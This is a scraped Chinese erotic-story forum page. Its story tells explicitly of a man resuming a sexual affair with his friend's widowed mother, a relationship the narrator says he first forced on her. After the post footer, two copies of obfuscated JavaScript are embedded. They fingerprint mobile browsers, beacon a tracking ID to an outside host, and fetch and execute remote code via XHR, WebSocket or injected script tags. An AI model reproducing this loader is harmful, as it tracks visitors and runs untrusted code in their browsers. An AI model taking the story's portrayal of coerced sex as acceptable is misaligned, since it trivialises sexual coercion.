图片载入中

多年后终与王姨再次缠绵

特大字】 【大字】 【中字】 【小字

话说我曾经的一个情人王姨,正是我好哥们儿的妈妈,当年我哥们儿在国外的时候王姨被我趁虚而入,做了两年的情人直到我哥们儿回国为止。

在成为情人之前王姨就和我关系很好,基本上相当于干妈的那个级别,在儿子出国的时间里,独自寡居的王姨,就把我当做是她的儿子,这一点即使在我强迫她成为我的情人后也基本没什么变化,不过随着做爱的次数越来越多,王姨的情人身份也逐渐让她开始迷惑,有时会分不清到底是妈妈还是情人。

当王姨的儿子回国,我和她的情人关系中止后,她终于结束了这种带有禁忌的关系,在心里暗地里松了一口气的同时,也有些依依不舍,但事实就是这样,我们再保持之前的情人关系是不可能的,虽然还是有机会通过偷情的方式互相满足,但还是因为可能出现的问题而果断放手。

王姨本身也很难接受在自己儿子的眼前,和我偷情这样的事情。这种事情我和王姨自然都会守口如瓶,所以我的哥们儿至今也不知道,她妈妈曾经被我操了整整两年,还真心的感谢我在他不在的时候照顾他妈,对我的友情反而更加深厚了。

之后大约两年多时间我哥们儿结婚了,同时在离他们夫妻单位近一些的地方买了个房子,其实也离原来的房子不远,王姨从新房到医院上班坐车也只要四十多分钟,在北京算是时间不多了。原来的老房也就空置了,并没有出租出去。

就这样又过了两年多,期间我和王姨一家也见过几次面吃过几次饭,我哥们儿的老婆也算认识了,感觉不是很随和,虽然大家一起吃着饭,但是基本不怎么说话,看上去也不愿意和不相干的人多交往,而且似乎王姨和自己的儿媳妇也交流不多。

王姨的亡夫和我父母原来都是一个单位的,附近很多人都互相认识,虽然王姨不和大家住的很近了,但是还是偶尔会有她家的传闻,说是王姨遇到了婆媳紧张的问题,而从我和她家交往的经历,也感觉有这种可能。

于是我开始私下和王姨联络,倒是没想和她旧情复燃的事情,她好歹也一直把我当儿子看,虽然这个儿子把她给操了,但是毕竟我们之间还是有感情的。

在打通电话后我问候了她几句,隐晦的又问了问她家里的情况,而王姨也听出了我的意思,并没有对我避讳,把家里的情况给我描述了一下。

原来王姨的儿媳妇是属于那种比较厉害的女人,事儿比较多,结婚后不久就开始对王姨的一些习惯和做法看不惯,我哥们儿夹在中间,也没有太多的调解,而是两边不帮,这样矛盾就越来越激化。

而王姨本身就是那种性格很温顺的贤妻良母型,虽然心里有气,但是也不愿意过多争执,也觉得婆媳关系要是太差对自己儿子也不好,天真的以为自己只要多忍一忍,媳妇总不会太过分。没想到那个女人反而以为王姨好欺负,开始变本加厉的挤兑她,最后发展成事事都要挑刺儿,也让王姨的处境和心情越来越差。

听王姨叙述完,我相信王姨的话基本都是真的,因为王姨确实是一个非常好脾气的女人,在生活和工作中都是如此,想想现在中国的医疗环境有多差吧,做了快三十年护士工作的王姨,基本上就没有接到过患者投诉,而我对她儿媳妇的观感也支持王姨的说法。

不过这都是家室,我也只能好好的安慰了王姨一下,王姨也告诉我,我能够主动给她打电话,还真心的宽慰她,她也感到很高兴,最后反而还告诉我她没事,习惯了就好了,让我不要担心。

之后我就开始不时的给王姨打电话,平均每周都会有一两次吧,陪她聊聊天,希望她能够高兴点。每次我给王姨打电话之前,都会先发个短信问她是否方便,毕竟我觉得我和王姨的这种交流,还是不要让她的儿子媳妇知道为好。

而在我们聊了一个月时间之后,有一次王姨告诉我她现在挺好,而且也有一段时间都没有再吵架了,我也很为她高兴。但是我也发现了一个问题,基本上每次我给王姨发短信确认,王姨都会很快的打给我,偶尔有不及时的时候,也会在电话刚打通的时候就告诉我刚刚看到短信,难道她从来都不避讳一下儿子和媳妇吗?

然后我也找机会问了一下,王姨在犹豫了一下之后告诉我,其实她现在是自己一个人回到老房住了,理由是这里上班比较近,这时我才知道王姨所说的有时间没有吵架,并不是因为关系缓和了,而是因为她已经搬出来了,也就是说婆媳关系已经进一步恶化了。

从某种意义上来说,王姨是被她的儿媳妇逼走的,我也为此很为王姨不忿。

不过王姨也对告诉我她一般周末还会去儿子家,这点最起码说明母子关系还没有太多改变。

又过了半个月时间,天气开始越来越热了,我和王姨也在坚持通信。

一个周四晚上我和王姨又煲了一会电话粥,在我准备结束时,王姨突然问我这周末有什么安排,我说没什么计画,可能就在家待着,王姨就继续问我愿不愿意来她家吃饭,因为他们小俩口周末有事,她不用过去了,于是想要周末和我当面好好说说话。

毕竟曾经做了两年情人,我感觉王姨让我去她家的目的应该不是这么单纯,反正无论如何我也不会拒绝的,于是约好了周六上午见。

我反正是单身,周六和家里说去找个朋友玩去就出门了,很久没有单独相处了,我还先买了不少水果才前往王姨的家。

王姨听到敲门声后给我开了门,看到我后有点不高兴的说,问我是不是把钥匙都扔了,我说当然没有扔,只是觉得还是敲一下门比较好。

虽然我说的有点见外,但是因为并没有用很认真的语气,所以王姨在知道我还保留着她家的钥匙后,立刻就高兴起来,横了我一眼后半认真地嗔怪我:“你这小子,还和你王姨见外?”说完就拉着我的胳膊进了屋。

天气已经暖和了,王姨在家也没有穿的很正式,甚至还有些清凉。身上穿了一件无袖的半长连衣裙,下摆在膝盖之上五公分左右,上面露的多一些,连衣裙的肩带很细,胸前的开口也比较低比较大,比较接近于吊带的样子。

王姨原本就是个非常守旧的女人,穿衣一向保守的很,虽然在做我情人的期间,后半阶段已经能够接受我让她在家里裸体的要求,但是在儿子回国后马上又重新变得极度保守,一直保持到现在。以我对王姨的了解,如果真的像她说的那样只是想和我聊聊天,她是绝不会穿成现在这样,把深深的乳沟直接暴露在我的面前。

当时我刚刚搭上雅晴姐,和雅晴姐的情人关系也还不是很确定,虽然已经过去五年了,但是已经五十一岁的王姨,像现在这样的表现还是令我挺有欲望的,在这种事情上男人还是应该更主动些,于是在简单的说了几句后,我就贴着王姨的身体坐了下来,手也毫不客气的伸到了王姨的胸口上。

王姨也马上给予了我热情的回复,把身子更加紧贴我,同时喘气声迅速的变得粗重起来。

于是,时隔五年之后我再次进入了王姨的身体,久违的感觉还是那么的令我愉悦,王姨在最开始感觉比较生涩,后来才开始逐渐放开,配合我一次次插入她的阴道深处,呻吟叫床声连绵不断,虽然为了避免被邻居听到而刻意压低了声音,但是很明显王姨已经开始享受久违的性交了。

最后我没有保留,把精液全部射进了王姨的子宫里,我不知道王姨是否已经绝经,但是我知道王姨从不会要求让我带套,她也很喜欢我把精液直接射到她的体内。

激情过后,王姨简单的擦了擦下体,就搂着我躺在了我的身边,脸上满是性交过后满足的笑容,我也搂着她就这样静静的躺了好一会。还是我首先打破安静,先是问了下王姨的感觉,王姨有点脸红的说很舒服,后来我又提到了内射的后续处理问题。

王姨说她月经减少已经有一年多了,但是还没有停,我就说那还像以前那样吃点药吧,没想到王姨说:“我这么大年纪了,应该不会怀上了吧!”接着现出一些淡然处之的表情说道:“怀上就怀上,反正也没人知道!”看来王姨还是心里不太淡痛快,毕竟总是感觉像是被赶出家门似的。我想王姨主动的约我来家里,甚至带着一些勾引我的意思,现在又说出这种恶狠狠的气话,应该也是因为心里郁闷,潜意识里就是:你们夫妻两个不是和我别扭吗,那我干什么顾忌你两的感受,我去找个小鲜肉上床,真要传出去你两也跟着一起丢人。

不过王姨毕竟还是个很温顺的女人,说过了也发泄完了就算了,还是去拿了点药吃掉。

我和王姨本来都以为五年前,就是我们今生最后的一次做爱了,没想到竟然还有机会在一起。其实王姨还是那个保守的王姨,这五年中虽然正好处在性欲煎熬的年龄,但是她也从没有过其他情人,在她的生命中只有她的亡夫和我进入过她的阴道里。

虽然五年没有做过了,但是既然决定重新结合,王姨也很快就恢复了以前的心态,在吃了药之后告诉我,在我同意来她家的当天她就开始吃短效避孕药了,现在时间还有点短,所以再吃点紧急避孕药。这也是在变相的告诉我,她希望我以后还能继续来操她。

我于是也开始用言语调戏王姨,双手也毫不客气的不断伸向她身体的敏感区,弄得王姨又开始脸红气喘。

之后王姨推开我,说是已经不早了,还是要做午饭了,然后王姨从床上爬起来,不穿内衣直接把刚才的连衣裙拿过来穿上,就步履轻快地去厨房做饭了。

看着王姨轻松的步伐,我就知道王姨的心情已经好多了,我也跟随来到厨房,发现贤慧的王姨已经熟练地开始收拾菜了,还轻松的哼着歌。

我走到王姨的身后轻轻按住她的肩膀,嘴探到王姨的耳边说:“姨,还是不穿衣服最好看呀。”说着我的手在王姨的肩膀上抓住连衣裙的肩带,宽松的连衣裙顺着王姨的身体就直接滑落到地上。

王姨随之发出了一声轻唿,不过我很快就压制住了她毫无力度的反抗,把她压在橱柜的台面上,让她保持下身站立的状态从后面插入了她的阴道里。

这样的姿势很刺激,但是比较费体力,加上我之前已经射精过一次,所以当我们两个都有点累了的时还是没有要射精的感觉。

王姨于是让我停一下,等吃完饭再继续,不过看到我还在高高挺立的鸡巴时,王姨又心疼的跪下来直接用嘴把我的鸡巴含了进去。

王姨的口活在几年前做我情人时已经练习的很不错了,这几年虽然难免生疏了些,但是底子还在,我也终于在王姨温柔的服务下射了精。王姨没有躲闪,直接让我把精液射到她的嘴里,然后吃了下去。

这一天我和王姨都沉浸在久别的刺激和激情中,而王姨赤裸的身体也带给了我持续的刺激,最终我射精四次,感觉脚都射软了。

像我们这种老情人旧情复燃的通常都会感觉心痒难耐,三天后王姨正好倒班休息,我也请了假又和她相处了一天。

在操过她之后王姨很认真的问了我,因为她和五年前相比肯定又老了不少,是不是吸引力已经下降很多了。

说实话,王姨本身就不是那种让人一看就很有感觉的中年美妇,脱了衣服当然能够显示出她的丰乳肥臀,但是年纪不饶人,年过五十的王姨身材比五年前还是有些走样了,皮肤松弛了一些,奶子也下垂了,但是操熟女本身就是图的那种特殊感觉,所以我也实话告诉王姨,她仍然对我很有吸引力,否则我也不会来。

虽然王姨能够猜到我会这么想,但是听我亲口说出来还是很感动。

之后一段时间暂时没有机会和王姨亲密接触,但是还是不时的打电话问候,直到半个多月以后,王姨终于又和我约好周末去她家做爱,电话中,王姨还说这次要给我一个惊喜,而且无论我怎么追问她都不告诉我,我也就没再问,不过说实话,王姨不是个浪漫的女人,生活循规蹈矩,我也不认为她给我的惊喜真的会有很惊喜。

周末我如约来到王姨家里。当我掏出钥匙开门时,发现门被反锁了,正当我心头疑惑并准备敲门时,王姨在门里问外面是谁,当听到我的声音后马上就把门打开了。

这时候我才知道王姨为什么要把门反锁,原来王姨已经把衣服脱光了在家里等我,不过生性谨慎的她还是先把门反锁,避免万一他儿子突然袭击。

王姨绝对称不上淫荡,但是看到王姨什么也不穿来给我开门的样子,我突然觉得她非常的骚浪,欲火也疯狂的增长着,于是我们马上就互相搂抱着滚到了床上。

在把王姨操出了一次高潮之后,我也感觉有了些射精的欲望,这里要说一下,我和王姨做爱时很少会有意的控制自己射精的欲望,无论是在王姨的嘴里还是小穴里,都会毫不犹豫的发射,反正需要时王姨用嘴帮我把鸡巴吸硬了就行了。

就在我准备冲刺一下内射王姨时,王姨却突然叫停了我。我正在兴头上当然不太愿意,但是看王姨很坚决的样子还是停了下来。

王姨让我把鸡巴拔出来,之后问我还记不记得她之前说的惊喜,还让我猜猜看。我正干得起劲时被打断,心里本身就不是很满意,再加上原本就对王姨所谓的惊喜没抱太大希望,所以只是随口应付了她几句,猜不出来后就让她赶紧揭晓答案。

于是王姨告诉我她的屁眼已经清洗干净了,因为害羞王姨的声音很小,我勉强才听到,这个确实是很大的惊喜了,我还有些无法相信,还趴到王姨的屁眼附近看了一下,发现果然有清洗和润滑过的痕迹。

其实在几年前我就干过王姨的屁眼,但是当时可能是着急加上技巧不够,所以王姨感觉很疼痛,后来就没有再试,所以虽然说王姨的屁眼已经被我开苞,但是对我们两个人来说其实并没有共同享受过肛交的乐趣。而这次王姨下定决心再次让我干她的屁眼,显然是付出很多。

因为几乎没有做过,所以在肛交前需要充分做好准备。王姨告诉我,她在我来之前刚刚做过了肠道清理,一共进行了三次灌肠,最后的液体看起来已经干净了,我是很相信王姨的话的,作为一个拥有三十年工作经验的妇产科护士长,灌肠这件事,无论是流程还是器械对于王姨来说都不是问题,虽然从来没有给自己灌过,但是并没有造成很大的困难。确认灌肠干净以后,王姨还在屁眼内外涂抹了一些婴儿油。

既然王姨这么主动的献上了自己的屁眼,我也不会客气,我也不是几年前那个对肛交几乎一无所知的男孩了。

肛交这件事毕竟不同于普通性交,尤其对于女人来说,疼痛是很大的障碍,另外就是卫生的问题,不过经过多次灌肠再戴上避孕套应该能够基本解决,因此我们决定采用最适宜肛交的几个姿势。

王姨躺在了床上,在屁股底下垫上了一个枕头尽量把屁股抬高,然后我让王姨尽量分开双腿,同时双手也努力把她自己的屁股蛋分开,这样王姨的屁眼就很清楚的显露出来了。

我带上王姨准备的乳胶手套,在手套上涂抹了一些婴儿油,慢慢的伸进王姨的屁眼里。王姨显得有些紧张,屁眼夹紧了我的手指,在我的轻声安慰和不断鼓励下,逐渐开始放松,而我也用手指在她的屁眼里轻轻旋转,同时进一步润滑。

感觉差不多了,我戴上避孕套,在顶部又涂抹了一些婴儿油,让王姨保持姿势不要动,随后龟头隔着套套顶到了王姨的屁眼上,再稍微等了一会后,向前用力。龟头感到了明显的阻力,但还是比较容易的就进入了屁眼,看来王姨经过了充分的心理和生理准备,对肛交也很有好处。

王姨的屁眼很紧,包裹着我的鸡巴,我也开始慢慢的抽插起来,明显感觉比插王姨的阴道时阻力要大不少,老实说,肛交不如普通性交所带来的生理刺激那么大,因为直肠内肯定要比阴道要宽松,而且没有阴道壁带来的包裹感,但是肛交确实让人的心里感觉很刺激。

因为这次是王姨主动提出肛交的,所以王姨也在尽量的适应这种感觉,所以不像以前那样觉得无法忍受,不过还是感觉十分疼痛,但是王姨还是在咬牙坚持着。

我也看到了王姨的痛苦,不过我想到既然王姨主动提出来要我干她的屁眼,而且她也没有提出来停止的意思,所以我也就继续慢慢的在她的屁眼里抽插起来。

同时为了让王姨放松,我告诉王姨让她尝试着手淫,王姨也很听话,伸出手开始有些笨拙的抠弄起自己的小穴。

就这样王姨逐渐的放松下来,手指在阴道抽插的也越来越熟练,使得她的精力逐渐从屁眼的疼痛中分散出来,同时王姨的屁眼也不再像开始那样紧张,虽然仍然非常紧,但是已经不会让我感觉阻力很大了。于是我也逐渐开始加大了抽插的频率和力度,而王姨也终于开始逐渐体会到了肛交的乐趣,屁眼处的疼痛逐渐减轻后,那种胀满的感觉让王姨也感觉有点享受。

王姨也开始加大了扣弄自己小穴的力度,最终竟然达到了一次高潮。随着高潮的到来,王姨的身体开始痉挛,屁眼也一阵阵紧缩,而我也被王姨的骚浪样子和屁眼的紧缩刺激的精关失手。

看来这次王姨是下定决心要全力把我伺候好。我射精后,还没有从性高潮的余韵中缓解过来的的王姨就主动的拿下了避孕套,之后很仔细的用嘴把我的鸡巴清理干净,然后搂住我躺了下来,脸上的表情很满足。

我问她现在感觉怎么样,王姨很真诚地说:“虽然知道你是真心的愿意和和亲热,但是每次还是会很感动,虽然还是觉得挺疼的,但是我还是愿意。”说到这王姨低头想了一会,脸上逐渐露出很感动的样子,接着对我说:“我是个老太太了,身体早就不行了,不过我的屁眼还是比较紧的,只要你不嫌弃以后我随时都可以给你,再疼我也能忍住。”听到这些我也很感动,也好好地安慰了一下王姨。

之后每次我和王姨做爱时,我基本都会干她的屁眼,而王姨的屁眼也逐渐锻炼出来了,虽然一直还会有疼痛感,但是却已经变得不是很强烈,而那种特殊的胀满感,反而让王姨从中得到了另类的快感,而王姨也越来越喜欢屁眼被狠狠捅穿的感觉了。

王姨从四十六岁开始,被我半强迫半祈求的占有了守寡四年的身体,之后被迫做了我的情人两年半,如果说当时是因为我的努力才有了这些经历,那么时隔几年之后,已经五十一岁高龄的王姨又主动投入了我的怀抱,真的是造化弄人,通过与自己儿媳妇的对比,王姨才真正觉得我对她很好,这才有了主动献上屁眼的结果。

心里完全释放的王姨,这时真正开始享受性爱的快乐,而我也发现王姨其实是个很有欲望的女人,虽然已经年过五十,但是却是一个暗藏媚骨的女人,在床上也越来越表现的饥渴与淫荡。

我和王姨就这样又保持了几个月的情人关系,之后可能是因为她的儿媳妇确实不怎么样,她的儿子也最终无法忍受而离婚了,于是王姨又搬回了家里和她儿子一起住。

这样一来我们就不方便经常在一起了,不过王姨还是偶尔会找到机会和我一起快乐一下。

就是不知道,已经被我将性欲充分开发出来的王姨是否能够忍得住?

字节数:14392

【完】

[ 此帖被后来~在2016-06-28 16:29重新编辑 ]


上一篇:永恒之城

下一篇:大地情爱01~02


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};